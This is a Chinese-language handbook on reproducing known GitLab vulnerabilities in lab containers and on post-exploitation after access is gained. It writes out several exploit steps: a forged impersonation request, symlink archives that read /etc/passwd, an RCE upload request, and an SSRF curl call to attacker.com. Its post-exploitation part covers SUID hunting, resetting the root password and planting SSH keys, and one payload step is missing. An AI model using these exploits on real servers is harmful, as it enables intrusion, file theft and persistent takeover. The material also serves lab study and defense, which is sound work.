Gitlab常见漏洞复现及后利用
字数 1409 2025-08-26 22:11:29

GitLab常见漏洞复现及后利用技术手册

1. GitLab版本检测方法

命令行检测

cat /opt/gitlab/embedded/service/gitlab-rails/VERSION

Web页面检测

访问以下URL查看版本信息:

http://ip/help

2. CVE-2016-4340 - 权限提升漏洞

影响版本

  • Gitlab 8.7.0
  • Gitlab 8.6.0-8.6.7
  • Gitlab 8.5.0-8.5.11
  • Gitlab 8.4.0-8.4.9
  • Gitlab 8.3.0-8.3.8
  • Gitlab 8.2.0-8.2.4

环境搭建

docker pull gitlab/gitlab-ce:8.7.0-ce.0
docker run -d -p 443:443 -p 80:80 -p 222:22 --name gitlab --restart always -v /home/gitlab/config:/etc/gitlab -v /home/gitlab/logs:/var/log/gitlab -v /home/gitlab/data:/var/opt/gitlab gitlab/gitlab-ce:8.7.0-ce.0

漏洞复现步骤

  1. 创建普通用户并登录
  2. 新建项目并抓包获取authenticity_token
  3. 构造POST请求:
POST /admin/users/stop_impersonation?id=root HTTP/1.1
...
_method=delete&authenticity_token=获取的token值

3. CVE-2016-9086 - 任意文件读取漏洞

影响版本

  • GitLab CE/EE versions 8.9、8.10、8.11、8.12 和8.13

环境搭建

docker-compose up -d

漏洞复现方法

  1. 注册并登录账户
  2. 创建包含软链接的恶意压缩包:
ln -sf /etc/passwd VERSION
tar zcf change_version.tar.gz ./
  1. 在"新建项目"页面选择"GitLab导出"并上传恶意包

高级利用

修改project.json为软链接可读取完整文件内容:

ln -sf /etc/passwd project.json
tar zcf change_version.tar.gz ./

4. CVE-2020-10977 - 任意文件读取漏洞

影响版本

  • 8.5 <= GitLab GitLab CE/EE <=12.9

环境搭建

docker run --detach --hostname 192.168.235.129 --publish 443:443 --publish 80:80 --publish 22:22 --name gitlab --restart always --volume /root/config:/etc/gitlab --volume /root/logs:/var/log/gitlab --volume /root/data:/var/opt/gitlab gitlab/gitlab-ee:12.1.6-ee.0

漏洞复现步骤

  1. 创建两个项目
  2. 在project1中创建issues,内容为:

  1. 将issues移动到project2中
  2. 点击链接下载文件

5. CVE-2021-22205 - 远程命令执行漏洞

影响版本

  • 11.9 <= Gitlab CE/EE < 13.8.8
  • 13.9 <= Gitlab CE/EE < 13.9.6
  • 13.10 <= Gitlab CE/EE < 13.10.3

环境搭建

docker-compose up -d

漏洞复现方法

  1. 使用PoC脚本执行命令:
python poc.py http://your-ip:8080 "touch /tmp/success"
  1. 手动构造请求:
POST /uploads/user HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5
X-CSRF-Token: {{csrf-token}}

------WebKitFormBoundaryIMv3mxRg59TkFSX5
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

AT&TFORM...

后利用技术

方法一:提权

  1. 查找SUID文件:
find / -user root -perm -4000 -print 2>/dev/null
  1. 检查是否存在Polkit漏洞(CVE-2021-4034)

方法二:重置管理员密码

  1. 进入GitLab控制台:
gitlab-rails console -e production
  1. 修改root用户密码:
user = User.where(id: 1).first
user.password = 'newpassword'
user.password_confirmation = 'newpassword'
user.save

方法三:SSH免密登录

  1. 检查git用户是否可登录:
cat /etc/passwd | grep git
  1. 添加SSH公钥实现免密登录

6. CVE-2021-22214 - SSRF漏洞

影响版本

  • 10.5 <= GitLab < 13.10.5
  • 13.11 <= GitLab < 13.11.5
  • 13.12 <= GitLab <= 13.12.2

漏洞复现POC

curl -k -s --show-error -H 'Content-Type: application/json' http://127.0.0.1/api/v4/ci/lint --data '{
  "include_merged_yaml": true,
  "content":"include:\n remote: http://attacker.com/api/v1/targets/?test.yml"
}'

7. CVE-2022-2185 - 项目导入RCE漏洞

详情参考:
https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/

防御建议

  1. 及时更新GitLab到最新版本
  2. 限制不必要的网络访问
  3. 实施严格的权限控制
  4. 定期审计系统日志
  5. 使用Web应用防火墙(WAF)

参考链接

  • https://about.gitlab.com/releases/2016/11/02/cve-2016-9086-patches/
  • https://hackerone.com/reports/178152
  • http://paper.seebug.org/104/
  • https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/
GitLab常见漏洞复现及后利用技术手册 1. GitLab版本检测方法 命令行检测 Web页面检测 访问以下URL查看版本信息: 2. CVE-2016-4340 - 权限提升漏洞 影响版本 Gitlab 8.7.0 Gitlab 8.6.0-8.6.7 Gitlab 8.5.0-8.5.11 Gitlab 8.4.0-8.4.9 Gitlab 8.3.0-8.3.8 Gitlab 8.2.0-8.2.4 环境搭建 漏洞复现步骤 创建普通用户并登录 新建项目并抓包获取 authenticity_token 值 构造POST请求: 3. CVE-2016-9086 - 任意文件读取漏洞 影响版本 GitLab CE/EE versions 8.9、8.10、8.11、8.12 和8.13 环境搭建 漏洞复现方法 注册并登录账户 创建包含软链接的恶意压缩包: 在"新建项目"页面选择"GitLab导出"并上传恶意包 高级利用 修改 project.json 为软链接可读取完整文件内容: 4. CVE-2020-10977 - 任意文件读取漏洞 影响版本 8.5 <= GitLab GitLab CE/EE <=12.9 环境搭建 漏洞复现步骤 创建两个项目 在project1中创建issues,内容为: 将issues移动到project2中 点击链接下载文件 5. CVE-2021-22205 - 远程命令执行漏洞 影响版本 11.9 <= Gitlab CE/EE < 13.8.8 13.9 <= Gitlab CE/EE < 13.9.6 13.10 <= Gitlab CE/EE < 13.10.3 环境搭建 漏洞复现方法 使用PoC脚本执行命令: 手动构造请求: 后利用技术 方法一:提权 查找SUID文件: 检查是否存在Polkit漏洞(CVE-2021-4034) 方法二:重置管理员密码 进入GitLab控制台: 修改root用户密码: 方法三:SSH免密登录 检查git用户是否可登录: 添加SSH公钥实现免密登录 6. CVE-2021-22214 - SSRF漏洞 影响版本 10.5 <= GitLab < 13.10.5 13.11 <= GitLab < 13.11.5 13.12 <= GitLab <= 13.12.2 漏洞复现POC 7. CVE-2022-2185 - 项目导入RCE漏洞 详情参考: https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/ 防御建议 及时更新GitLab到最新版本 限制不必要的网络访问 实施严格的权限控制 定期审计系统日志 使用Web应用防火墙(WAF) 参考链接 https://about.gitlab.com/releases/2016/11/02/cve-2016-9086-patches/ https://hackerone.com/reports/178152 http://paper.seebug.org/104/ https://starlabs.sg/blog/2022/07-gitlab-project-import-rce-analysis-cve-2022-2185/